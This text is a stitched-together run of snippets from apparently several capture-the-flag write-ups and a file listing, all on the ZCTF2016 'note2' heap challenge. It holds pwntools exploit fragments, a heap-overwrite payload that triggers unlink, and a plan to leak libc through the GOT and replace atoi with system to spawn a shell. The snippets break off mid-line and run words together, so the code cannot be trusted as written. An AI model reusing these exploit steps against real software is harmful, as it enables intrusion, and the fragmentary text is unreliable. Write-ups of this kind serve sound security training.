io.recvuntil('Input the length of the note content:(less than 128)') io.sendline(str(size)) io.recvuntil('Input the note content:') io.sendline(content)defshow(num): io.recvuntil('option--->>') io.sendline('2') io.recvuntil('Input the id of the note:') io.sendline(str(num)) ...
释放chunk1 - 覆盖 chunk2 - 释放 chunk2 对应的代码如下 # edit the chunk1 to overwrite the chunk2deletenote(1)content='a'*16+p64(0xa0)+p64(0x90)newnote(0,content)# delete note 2 to trigger the unlink# after unlink, ptr[0] = ptr - 0x18deletenote(2) 首先释放 chunk1,由于该 chun...
from pwn import * p = process('./note2') note2 = ELF('./note2') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = 'debug' def newnote(length, content): p.recvuntil('option--->>') p.sendline('1') p.recvuntil('(less than 128)') p.sendline(str(length...
TJCTF2018_title_troop TokyoWesterns2018_load WDB2018_guess WDB2018_impossible WDB2018_ipowtn-reborn WDB2018_ipowtn WhiteHat2018_pwn01 WhiteHat2018_pwn03 X-CTF-b0verfl0w X-MAS2018_I_want_that_toy XCTF_lamp XDCTF2015_pwn200 ZCTF2016_note2 exp.py note2 note2.i64 asis2016_b00ks bctf2016_...
添加note,size 限制为 0x80,size 会被记录,note 指针会被记录。 展示note 内容。 编辑note 内容,其中包括覆盖已有的 note,在已有的 note 后面添加内容。 释放note。 漏洞 在添加 note 时,程序会记录 note 对应的大小,该大小会用于控制读取 note 的内容,但是读取的循环变量 i 是无符号变量,所以比较时都会转换...
代码量挺大的,逆起来有难度 功能挺全,啥都有 main函数 add函数,有heaparray并且无pie保护,考虑unlink show函数,可以泄漏地址用 edit函数,有两种edit方式 delete,找不到UAF洞 看了好久,都没找到漏洞,我是five,后来看到了师傅的博客,发现了漏洞点 在a
zctf2016_note2 思路 利用unlink分配到存储chunk的ptr数组处,改chunk的地址为got表地址即可泄露libc,然后通过edit函数将atoi_got改为system函数的地址,让程序再次执行atoi,并输入参数"/bin/sh\x00",即执行system("/bin/sh")拿shell。 exp frompwnimport*#context.log_level = 'debug'#io = process('./note2...